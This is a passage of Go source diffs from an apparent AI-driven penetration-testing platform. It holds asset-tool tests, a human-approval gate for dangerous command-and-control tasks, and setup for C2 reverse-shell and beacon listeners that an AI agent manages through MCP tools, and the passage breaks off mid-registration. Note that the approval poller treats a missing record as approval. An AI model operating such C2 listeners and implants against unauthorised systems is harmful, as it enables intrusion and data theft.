user, err := db.CreateRBACUser("asset-agent", "Asset Agent", "hash", true, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
principal := authctx.NewPrincipal(user.ID, user.Username, database.RBACScopeAssigned, map[string]bool{
|
||||||
|
"asset:read": true, "asset:write": true, "asset:delete": true,
|
||||||
|
})
|
||||||
|
ctx := authctx.WithPrincipal(context.Background(), principal)
|
||||||
|
server := mcp.NewServer(zap.NewNop())
|
||||||
|
server.SetToolAuthorizer(mcpToolAuthorizer(db))
|
||||||
|
registerAssetTools(server, db, zap.NewNop())
|
||||||
|
|
||||||
|
wantTools := map[string]bool{
|
||||||
|
builtin.ToolCreateAsset: false, builtin.ToolGetAsset: false, builtin.ToolQueryAssets: false,
|
||||||
|
builtin.ToolUpdateAsset: false, builtin.ToolDeleteAsset: false, builtin.ToolCompleteAssetScan: false,
|
||||||
|
}
|
||||||
|
for _, tool := range server.GetAllTools() {
|
||||||
|
if _, ok := wantTools[tool.Name]; ok {
|
||||||
|
wantTools[tool.Name] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for name, found := range wantTools {
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("asset tool not registered: %s", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tool := range server.GetAllTools() {
|
||||||
|
if tool.Name != builtin.ToolCreateAsset {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, keyword := range []string{"oneOf", "allOf", "anyOf"} {
|
||||||
|
if _, exists := tool.InputSchema[keyword]; exists {
|
||||||
|
t.Fatalf("create asset schema contains Bedrock-incompatible top-level %s", keyword)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
result, _, err := server.CallTool(ctx, builtin.ToolCreateAsset, map[string]interface{}{"title": "Missing target"})
|
||||||
|
if err != nil || result == nil || !result.IsError {
|
||||||
|
t.Fatalf("create asset accepted missing host/ip/domain: result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
result, _, err = server.CallTool(ctx, builtin.ToolCreateAsset, map[string]interface{}{
|
||||||
|
"ip": "192.0.2.42", "port": 443, "protocol": "https", "title": "Before", "tags": []interface{}{"prod"},
|
||||||
|
})
|
||||||
|
if err != nil || result == nil || result.IsError {
|
||||||
|
t.Fatalf("create asset result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
assets, total, err := db.ListAssets(20, 0, database.AssetListFilter{}, database.RBACListAccess{UserID: user.ID, Scope: database.RBACScopeAssigned})
|
||||||
|
if err != nil || total != 1 || len(assets) != 1 {
|
||||||
|
t.Fatalf("saved assets total=%d len=%d err=%v", total, len(assets), err)
|
||||||
|
}
|
||||||
|
id := assets[0].ID
|
||||||
|
|
||||||
|
result, _, err = server.CallTool(ctx, builtin.ToolUpdateAsset, map[string]interface{}{"id": id, "title": "After"})
|
||||||
|
if err != nil || result == nil || result.IsError {
|
||||||
|
t.Fatalf("update asset result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
updated, err := db.GetAsset(id, database.RBACListAccess{UserID: user.ID, Scope: database.RBACScopeAssigned})
|
||||||
|
if err != nil || updated.Title != "After" || updated.IP != "192.0.2.42" {
|
||||||
|
t.Fatalf("partial update lost fields: %#v err=%v", updated, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
result, _, err = server.CallTool(ctx, builtin.ToolQueryAssets, map[string]interface{}{
|
||||||
|
"sort_by": "last_scan_at", "sort_order": "asc", "page": 1, "page_size": 1,
|
||||||
|
})
|
||||||
|
if err != nil || result == nil || result.IsError || !strings.Contains(toolResultText(result), "第 1/1 页") || !strings.Contains(toolResultText(result), "last_scan_at=never") {
|
||||||
|
t.Fatalf("query asset result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
result, _, err = server.CallTool(ctx, builtin.ToolQueryAssets, map[string]interface{}{"page_size": agentAssetPageSizeMax + 1})
|
||||||
|
if err != nil || result == nil || !result.IsError {
|
||||||
|
t.Fatalf("oversized page was accepted: result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
conversation, err := db.CreateConversation("asset scan", database.ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.AssignResourceToUser(user.ID, "conversation", conversation.ID); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := db.CreateVulnerability(&database.Vulnerability{ConversationID: conversation.ID, Title: "finding", Severity: "high", Target: "192.0.2.42"}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
scanCtx := mcp.WithMCPConversationID(ctx, conversation.ID)
|
||||||
|
result, _, err = server.CallTool(scanCtx, builtin.ToolCompleteAssetScan, map[string]interface{}{"id": id})
|
||||||
|
if err != nil || result == nil || result.IsError {
|
||||||
|
t.Fatalf("complete scan result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
scanned, err := db.GetAsset(id, database.RBACListAccess{UserID: user.ID, Scope: database.RBACScopeAssigned})
|
||||||
|
if err != nil || scanned.LastScanAt == nil || scanned.LastScanConversationID != conversation.ID || scanned.VulnerabilityCount != 1 {
|
||||||
|
t.Fatalf("scan fields not updated: %#v err=%v", scanned, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
result, _, err = server.CallTool(ctx, builtin.ToolDeleteAsset, map[string]interface{}{"id": id})
|
||||||
|
if err != nil || result == nil || result.IsError {
|
||||||
|
t.Fatalf("delete asset result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
if _, err := db.GetAsset(id, database.RBACListAccess{Scope: database.RBACScopeAll}); err == nil {
|
||||||
|
t.Fatal("asset still exists after delete")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func toolResultText(result *mcp.ToolResult) string {
|
||||||
|
var b strings.Builder
|
||||||
|
if result == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
for _, content := range result.Content {
|
||||||
|
b.WriteString(content.Text)
|
||||||
|
}
|
||||||
|
return b.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAssetReadToolsRespectConversationProjectScope(t *testing.T) {
|
||||||
|
db, err := database.NewDB(filepath.Join(t.TempDir(), "asset-project-scope.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
projectA, err := db.CreateProject(&database.Project{Name: "Project A"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
projectB, err := db.CreateProject(&database.Project{Name: "Project B"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
assets := []*database.Asset{
|
||||||
|
{ProjectID: projectA.ID, IP: "192.0.2.10", Protocol: "https"},
|
||||||
|
{ProjectID: projectB.ID, IP: "192.0.2.20", Protocol: "https"},
|
||||||
|
{IP: "192.0.2.30", Protocol: "https"},
|
||||||
|
}
|
||||||
|
if result, err := db.UpsertAssets(assets, "", true); err != nil || result.Created != len(assets) {
|
||||||
|
t.Fatalf("seed assets result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
bound, err := db.CreateConversation("bound", database.ConversationCreateMeta{ProjectID: projectA.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
unbound, err := db.CreateConversation("unbound", database.ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
principal := authctx.NewPrincipal("admin", "admin", database.RBACScopeAll, map[string]bool{"asset:read": true})
|
||||||
|
ctx := authctx.WithPrincipal(context.Background(), principal)
|
||||||
|
server := mcp.NewServer(zap.NewNop())
|
||||||
|
server.SetToolAuthorizer(mcpToolAuthorizer(db))
|
||||||
|
registerAssetTools(server, db, zap.NewNop())
|
||||||
|
|
||||||
|
boundCtx := mcp.WithMCPConversationID(ctx, bound.ID)
|
||||||
|
result, _, err := server.CallTool(boundCtx, builtin.ToolQueryAssets, map[string]interface{}{})
|
||||||
|
text := toolResultText(result)
|
||||||
|
if err != nil || result == nil || result.IsError || !strings.Contains(text, assets[0].ID) || strings.Contains(text, assets[1].ID) || strings.Contains(text, assets[2].ID) {
|
||||||
|
t.Fatalf("bound query escaped project scope: result=%#v text=%q err=%v", result, text, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Even an explicit foreign project_id cannot override the conversation boundary.
|
||||||
|
result, _, err = server.CallTool(boundCtx, builtin.ToolQueryAssets, map[string]interface{}{"project_id": projectB.ID})
|
||||||
|
text = toolResultText(result)
|
||||||
|
if err != nil || result == nil || result.IsError || !strings.Contains(text, assets[0].ID) || strings.Contains(text, assets[1].ID) {
|
||||||
|
t.Fatalf("project_id overrode conversation scope: result=%#v text=%q err=%v", result, text, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
result, _, err = server.CallTool(boundCtx, builtin.ToolGetAsset, map[string]interface{}{"id": assets[1].ID})
|
||||||
|
if err != nil || result == nil || !result.IsError {
|
||||||
|
t.Fatalf("bound get read a foreign-project asset: result=%#v err=%v", result, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
unboundCtx := mcp.WithMCPConversationID(ctx, unbound.ID)
|
||||||
|
result, _, err = server.CallTool(unboundCtx, builtin.ToolQueryAssets, map[string]interface{}{"page_size": 10})
|
||||||
|
text = toolResultText(result)
|
||||||
|
if err != nil || result == nil || result.IsError || !strings.Contains(text, assets[0].ID) || !strings.Contains(text, assets[1].ID) || !strings.Contains(text, assets[2].ID) {
|
||||||
|
t.Fatalf("unbound query did not retain all-assets behavior: result=%#v text=%q err=%v", result, text, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,228 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"database/sql"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/c2"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// C2HITLBridge 实现 C2 Manager 的 HITLBridge 接口,将危险任务桥接到现有 HITL 审批流。
|
||||||
|
// 审批记录写入 hitl_interrupts 表,与现有 HITL 系统共享前端审批 UI。
|
||||||
|
type C2HITLBridge struct {
|
||||||
|
db *database.DB
|
||||||
|
logger *zap.Logger
|
||||||
|
timeout time.Duration
|
||||||
|
getConvID func() string
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewC2HITLBridge 创建 C2 HITL 桥
|
||||||
|
func NewC2HITLBridge(db *database.DB, logger *zap.Logger) *C2HITLBridge {
|
||||||
|
return &C2HITLBridge{
|
||||||
|
db: db,
|
||||||
|
logger: logger,
|
||||||
|
timeout: 5 * time.Minute,
|
||||||
|
getConvID: func() string { return "" },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetConversationIDGetter 设置获取当前对话 ID 的函数
|
||||||
|
func (b *C2HITLBridge) SetConversationIDGetter(fn func() string) {
|
||||||
|
b.getConvID = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetTimeout 设置审批超时(0 表示不超时)
|
||||||
|
func (b *C2HITLBridge) SetTimeout(d time.Duration) {
|
||||||
|
b.timeout = d
|
||||||
|
}
|
||||||
|
|
||||||
|
// RequestApproval 实现 HITLBridge 接口:写入 hitl_interrupts 表并轮询等待审批结果
|
||||||
|
func (b *C2HITLBridge) RequestApproval(ctx context.Context, req c2.HITLApprovalRequest) error {
|
||||||
|
interruptID := "hitl_c2_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||||
|
now := time.Now()
|
||||||
|
|
||||||
|
convID := req.ConversationID
|
||||||
|
if convID == "" {
|
||||||
|
convID = b.getConvID()
|
||||||
|
}
|
||||||
|
if convID == "" {
|
||||||
|
convID = "c2_system"
|
||||||
|
}
|
||||||
|
|
||||||
|
payload, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"task_id": req.TaskID,
|
||||||
|
"session_id": req.SessionID,
|
||||||
|
"task_type": req.TaskType,
|
||||||
|
"payload": req.PayloadJSON,
|
||||||
|
"source": req.Source,
|
||||||
|
"reason": req.Reason,
|
||||||
|
"c2_operation": true,
|
||||||
|
})
|
||||||
|
|
||||||
|
_, err := b.db.Exec(`INSERT INTO hitl_interrupts
|
||||||
|
(id, conversation_id, message_id, mode, tool_name, tool_call_id, payload, status, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?, 'pending', ?)`,
|
||||||
|
interruptID, convID, "", "approval",
|
||||||
|
c2.MCPToolC2Task, req.TaskID,
|
||||||
|
string(payload), now,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
b.logger.Error("C2 HITL: 创建审批记录失败,拒绝执行", zap.Error(err))
|
||||||
|
return fmt.Errorf("C2 HITL 审批记录创建失败,安全起见拒绝执行: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
b.logger.Info("C2 HITL: 等待人工审批",
|
||||||
|
zap.String("interrupt_id", interruptID),
|
||||||
|
zap.String("task_id", req.TaskID),
|
||||||
|
zap.String("task_type", req.TaskType),
|
||||||
|
)
|
||||||
|
|
||||||
|
// Poll DB waiting for decision
|
||||||
|
ticker := time.NewTicker(500 * time.Millisecond)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
var deadline <-chan time.Time
|
||||||
|
if b.timeout > 0 {
|
||||||
|
timer := time.NewTimer(b.timeout)
|
||||||
|
defer timer.Stop()
|
||||||
|
deadline = timer.C
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
_, _ = b.db.Exec(`UPDATE hitl_interrupts SET status='cancelled', decision='reject',
|
||||||
|
decision_comment='context cancelled', decided_at=? WHERE id=? AND status='pending'`,
|
||||||
|
time.Now(), interruptID)
|
||||||
|
return ctx.Err()
|
||||||
|
|
||||||
|
case <-deadline:
|
||||||
|
_, _ = b.db.Exec(`UPDATE hitl_interrupts SET status='timeout', decision='reject',
|
||||||
|
decision_comment='C2 HITL timeout auto-reject for safety', decided_at=? WHERE id=? AND status='pending'`,
|
||||||
|
time.Now(), interruptID)
|
||||||
|
b.logger.Warn("C2 HITL: 审批超时,安全起见拒绝执行", zap.String("interrupt_id", interruptID))
|
||||||
|
return fmt.Errorf("C2 HITL 审批超时,危险任务已被自动拒绝")
|
||||||
|
|
||||||
|
case <-ticker.C:
|
||||||
|
var status, decision string
|
||||||
|
err := b.db.QueryRow(`SELECT status, COALESCE(decision, '') FROM hitl_interrupts WHERE id = ?`,
|
||||||
|
interruptID).Scan(&status, &decision)
|
||||||
|
if err != nil {
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
switch status {
|
||||||
|
case "decided", "timeout":
|
||||||
|
if decision == "reject" {
|
||||||
|
return fmt.Errorf("C2 危险任务被人工拒绝")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case "cancelled":
|
||||||
|
return fmt.Errorf("C2 审批已取消")
|
||||||
|
case "pending":
|
||||||
|
continue
|
||||||
|
default:
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// C2HooksConfig 配置 C2 Manager 的 Hooks
|
||||||
|
type C2HooksConfig struct {
|
||||||
|
DB *database.DB
|
||||||
|
Logger *zap.Logger
|
||||||
|
AttackChainRecord func(session *database.C2Session, phase string, description string)
|
||||||
|
VulnRecord func(session *database.C2Session, title string, severity string)
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetupC2Hooks 设置 C2 Manager 的业务钩子
|
||||||
|
func SetupC2Hooks(cfg *C2HooksConfig) c2.Hooks {
|
||||||
|
return c2.Hooks{
|
||||||
|
OnSessionFirstSeen: func(session *database.C2Session) {
|
||||||
|
// 新会话上线
|
||||||
|
cfg.Logger.Info("C2 Session first seen",
|
||||||
|
zap.String("session_id", session.ID),
|
||||||
|
zap.String("hostname", session.Hostname),
|
||||||
|
zap.String("os", session.OS),
|
||||||
|
zap.String("arch", session.Arch),
|
||||||
|
)
|
||||||
|
|
||||||
|
// 记录漏洞(初始访问点)
|
||||||
|
if cfg.VulnRecord != nil {
|
||||||
|
cfg.VulnRecord(session, fmt.Sprintf("C2 Session Established: %s@%s", session.Username, session.Hostname), "high")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 记录攻击链(Initial Access)
|
||||||
|
if cfg.AttackChainRecord != nil {
|
||||||
|
cfg.AttackChainRecord(session, "initial-access", fmt.Sprintf("Implant beacon from %s/%s", session.Hostname, session.InternalIP))
|
||||||
|
}
|
||||||
|
},
|
||||||
|
OnTaskCompleted: func(task *database.C2Task, sessionID string) {
|
||||||
|
// 任务完成
|
||||||
|
cfg.Logger.Debug("C2 Task completed",
|
||||||
|
zap.String("task_id", task.ID),
|
||||||
|
zap.String("task_type", task.TaskType),
|
||||||
|
zap.String("status", task.Status),
|
||||||
|
)
|
||||||
|
|
||||||
|
// 根据任务类型记录攻击链
|
||||||
|
if cfg.AttackChainRecord != nil {
|
||||||
|
session, _ := cfg.DB.GetC2Session(sessionID)
|
||||||
|
if session != nil {
|
||||||
|
phase := taskToAttackPhase(task.TaskType)
|
||||||
|
if phase != "" {
|
||||||
|
cfg.AttackChainRecord(session, phase, fmt.Sprintf("Task %s: %s", task.TaskType, task.Status))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// taskToAttackPhase 将任务类型映射到 ATT&CK 阶段
|
||||||
|
func taskToAttackPhase(taskType string) string {
|
||||||
|
switch taskType {
|
||||||
|
case "exec", "shell":
|
||||||
|
return "execution"
|
||||||
|
case "upload":
|
||||||
|
return "persistence"
|
||||||
|
case "download":
|
||||||
|
return "exfiltration"
|
||||||
|
case "screenshot":
|
||||||
|
return "collection"
|
||||||
|
case "kill_proc":
|
||||||
|
return "impact"
|
||||||
|
case "port_fwd", "socks_start":
|
||||||
|
return "lateral-movement"
|
||||||
|
case "load_assembly":
|
||||||
|
return "defense-evasion"
|
||||||
|
case "persist":
|
||||||
|
return "persistence"
|
||||||
|
case "self_delete":
|
||||||
|
return "defense-evasion"
|
||||||
|
default:
|
||||||
|
return "execution"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetupC2HITLBridgeWithAgent 设置 HITL 桥接器
|
||||||
|
// 这个函数将由 App 调用,注入必要的依赖
|
||||||
|
func SetupC2HITLBridgeWithAgent(db *database.DB, logger *zap.Logger) c2.HITLBridge {
|
||||||
|
return &C2HITLBridge{
|
||||||
|
db: db,
|
||||||
|
logger: logger,
|
||||||
|
timeout: 5 * time.Minute,
|
||||||
|
getConvID: func() string { return "" },
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/c2"
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/handler"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// setupC2Runtime 创建 C2 Manager、看门狗与取消函数;不注册 MCP 工具(由 Apply 统一 ClearTools 后注册)。
|
||||||
|
func setupC2Runtime(
|
||||||
|
cfg *config.Config,
|
||||||
|
db *database.DB,
|
||||||
|
agentHandler *handler.AgentHandler,
|
||||||
|
logger *zap.Logger,
|
||||||
|
) (*c2.Manager, *c2.SessionWatchdog, context.CancelFunc) {
|
||||||
|
if !cfg.C2.EnabledEffective() {
|
||||||
|
return nil, nil, nil
|
||||||
|
}
|
||||||
|
c2Manager := c2.NewManager(db, logger, "tmp/c2")
|
||||||
|
c2Manager.Registry().Register(string(c2.ListenerTypeTCPReverse), c2.NewTCPReverseListener)
|
||||||
|
c2Manager.Registry().Register(string(c2.ListenerTypeHTTPBeacon), c2.NewHTTPBeaconListener)
|
||||||
|
c2Manager.Registry().Register(string(c2.ListenerTypeHTTPSBeacon), c2.NewHTTPSBeaconListener)
|
||||||
|
c2Manager.Registry().Register(string(c2.ListenerTypeWebSocket), c2.NewWebSocketListener)
|
||||||
|
c2HITLBridge := NewC2HITLBridge(db, logger)
|
||||||
|
c2Manager.SetHITLBridge(c2HITLBridge)
|
||||||
|
c2Manager.SetHITLDangerousGate(func(conversationID, toolName string) bool {
|
||||||
|
return agentHandler.HITLNeedsToolApproval(conversationID, toolName)
|
||||||
|
})
|
||||||
|
c2Hooks := SetupC2Hooks(&C2HooksConfig{
|
||||||
|
DB: db,
|
||||||
|
Logger: logger,
|
||||||
|
AttackChainRecord: func(session *database.C2Session, phase string, description string) {
|
||||||
|
logger.Info("C2 Attack Chain",
|
||||||
|
zap.String("session_id", session.ID),
|
||||||
|
zap.String("phase", phase),
|
||||||
|
zap.String("desc", description),
|
||||||
|
)
|
||||||
|
},
|
||||||
|
VulnRecord: func(session *database.C2Session, title string, severity string) {
|
||||||
|
logger.Info("C2 Vulnerability",
|
||||||
|
zap.String("session_id", session.ID),
|
||||||
|
zap.String("title", title),
|
||||||
|
zap.String("severity", severity),
|
||||||
|
)
|
||||||
|
},
|
||||||
|
})
|
||||||
|
c2Manager.SetHooks(c2Hooks)
|
||||||
|
c2Manager.RestoreRunningListeners()
|
||||||
|
c2Watchdog := c2.NewSessionWatchdog(c2Manager)
|
||||||
|
watchdogCtx, watchdogCancel := context.WithCancel(context.Background())
|
||||||
|
go c2Watchdog.Run(watchdogCtx)
|
||||||
|
return c2Manager, c2Watchdog, watchdogCancel
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReconcileC2AfterConfigApply 根据当前内存配置启停 C2(不写盘;在 Apply 中 ClearTools 之前调用)。
|
||||||
|
func (a *App) ReconcileC2AfterConfigApply() error {
|
||||||
|
if !a.config.C2.EnabledEffective() {
|
||||||
|
a.shutdownC2()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if a.c2Manager != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if a.db == nil || a.agentHandler == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
m, wd, cancel := setupC2Runtime(a.config, a.db, a.agentHandler, a.logger.Logger)
|
||||||
|
if m == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
a.c2Manager = m
|
||||||
|
a.c2Watchdog = wd
|
||||||
|
a.c2WatchdogCancel = cancel
|
||||||
|
if a.c2Handler != nil {
|
||||||
|
a.c2Handler.SetManager(m)
|
||||||
|
}
|
||||||
|
a.logger.Info("C2 子系统已按配置启动")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// shutdownC2 停止看门狗与所有监听器,并断开 Handler 引用。
|
||||||
|
func (a *App) shutdownC2() {
|
||||||
|
had := a.c2WatchdogCancel != nil || a.c2Manager != nil
|
||||||
|
if a.c2WatchdogCancel != nil {
|
||||||
|
a.c2WatchdogCancel()
|
||||||
|
a.c2WatchdogCancel = nil
|
||||||
|
}
|
||||||
|
a.c2Watchdog = nil
|
||||||
|
if a.c2Manager != nil {
|
||||||
|
a.c2Manager.Close()
|
||||||
|
a.c2Manager = nil
|
||||||
|
}
|
||||||
|
if a.c2Handler != nil {
|
||||||
|
a.c2Handler.SetManager(nil)
|
||||||
|
}
|
||||||
|
if had {
|
||||||
|
a.logger.Info("C2 子系统已关闭")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,919 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"path/filepath"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"cyberstrike-ai/internal/agent"
|
||||||
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
"cyberstrike-ai/internal/c2"
|
||||||
|
"cyberstrike-ai/internal/database"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
// registerC2Tools 注册所有 C2 MCP 工具(合并同类项,减少工具数量以节省上下文 token)。
|
||||||
|
// webListenPort 为本进程 Web/API 监听端口(配置 server.port,启动时已加载),用于 MCP 描述中提示勿与 C2 bind_port 冲突。
|
||||||
|
func registerC2Tools(mcpServer *mcp.Server, c2Manager *c2.Manager, logger *zap.Logger, webListenPort int) {
|
||||||
|
registerC2ListenerTool(mcpServer, c2Manager, logger, webListenPort)
|
||||||
|
registerC2SessionTool(mcpServer, c2Manager, logger)
|
||||||
|
registerC2TaskTool(mcpServer, c2Manager, logger)
|
||||||
|
registerC2TaskManageTool(mcpServer, c2Manager, logger)
|
||||||
|
registerC2PayloadTool(mcpServer, c2Manager, logger, webListenPort)
|
||||||
|
registerC2EventTool(mcpServer, c2Manager, logger)
|
||||||
|
registerC2ProfileTool(mcpServer, c2Manager, logger)
|
||||||
|
registerC2FileTool(mcpServer, c2Manager, logger)
|
||||||
|
logger.Debug("C2 MCP tools registered (8 unified tools)")
|
||||||
|
}
|
||||||
|
|
||||||
|
func makeC2Result(data interface{}, err error) (*mcp.ToolResult, error) {
|
||||||
|
if err != nil {
|
||||||
|
return &mcp.ToolResult{
|
||||||
|
Content: []mcp.Content{{Type: "text", Text: err.Error()}},
|
||||||
|
IsError: true,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
text, _ := json.Marshal(data)
|
||||||
|
return &mcp.ToolResult{
|
||||||
|
Content: []mcp.Content{{Type: "text", Text: string(text)}},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================================
|
||||||
|
// c2_listener — 监听器统一工具
|
||||||
|
// ============================================================================
|
||||||
|
|
||||||
|
func registerC2ListenerTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListenPort int) {
|
||||||
|
s.RegisterTool(mcp.Tool{
|
||||||
|
Name: builtin.ToolC2Listener,
|
||||||
|
Description: fmt.Sprintf(`C2 监听器管理。通过 action 参数选择操作:
|
||||||
|
- list: 列出所有监听器
|
||||||
|
- get: 获取监听器详情(需 listener_id)
|
||||||
|
- create: 创建监听器(需 name, type, bind_port)。成功时除 listener 外会返回 implant_token(仅此一次,用于 X-Implant-Token / oneliner;list/get/start 不再返回)
|
||||||
|
- update: 更新监听器配置(需 listener_id,可改 name/bind_host/bind_port/remark/config/callback_host)
|
||||||
|
- start: 启动监听器(需 listener_id)
|
||||||
|
- stop: 停止监听器(需 listener_id)
|
||||||
|
- delete: 删除监听器(需 listener_id)
|
||||||
|
监听器类型: tcp_reverse, http_beacon, https_beacon, websocket
|
||||||
|
tcp_reverse 默认仅接受 CSB1 加密 Beacon(AES-GCM + ImplantToken)才登记会话;经典 bash/nc 反弹需在 config.allow_legacy_shell=true(公网不推荐)。
|
||||||
|
端口约束:create/update 的 bind_port 禁止与本平台 Web/API 所用端口相同。当前本服务该端口为 %d(配置项 server.port,随进程启动从配置文件加载)。若 bind_port 与此相同会导致本服务或监听器 bind 失败、Beacon/oneliner 误连到 Web 而非 C2。请为监听器另选空闲端口。`, webListenPort),
|
||||||
|
InputSchema: map[string]interface{}{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]interface{}{
|
||||||
|
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/create/update/start/stop/delete", "enum": []string{"list", "get", "create", "update", "start", "stop", "delete"}},
|
||||||
|
"listener_id": map[string]interface{}{"type": "string", "description": "监听器 ID(get/update/start/stop/delete 需要)"},
|
||||||
|
"name": map[string]interface{}{"type": "string", "description": "监听器名称(create/update)"},
|
||||||
|
"type": map[string]interface{}{"type": "string", "description": "监听器类型(create)", "enum": []string{"tcp_reverse", "http_beacon", "https_beacon", "websocket"}},
|
||||||
|
"bind_host": map[string]interface{}{"type": "string", "description": "绑定地址,默认 127.0.0.1;外网监听常用 0.0.0.0"},
|
||||||
|
"callback_host": map[string]interface{}{"type": "string", "description": "可选:植入端/Payload 回连主机名(公网 IP 或域名)。写入 config_json;生成 oneliner/beacon 时优先于 bind_host。update 时传入空字符串可清除"},
|
||||||
|
"bind_port": map[string]interface{}{"type": "integer", "description": fmt.Sprintf("绑定端口(create 必填)。须 ≠ %d(当前本服务 Web/API 端口,配置 server.port)", webListenPort), "minimum": 1, "maximum": 65535},
|
||||||
|
"project_id": map[string]interface{}{"type": "string", "description": "所属项目 ID。create 省略时默认使用当前对话绑定项目;未绑定项目的对话则创建未绑定监听器"},
|
||||||
|
"profile_id": map[string]interface{}{"type": "string", "description": "Malleable Profile ID"},
|
||||||
|
"remark": map[string]interface{}{"type": "string", "description": "备注"},
|
||||||
|
"config": map[string]interface{}{"type": "object", "description": "高级配置(beacon 路径/TLS/OPSEC 等),create/update 可用。tcp_reverse 可选 allow_legacy_shell:true 允许未加密经典 shell(默认 false)"},
|
||||||
|
},
|
||||||
|
"required": []string{"action"},
|
||||||
|
},
|
||||||
|
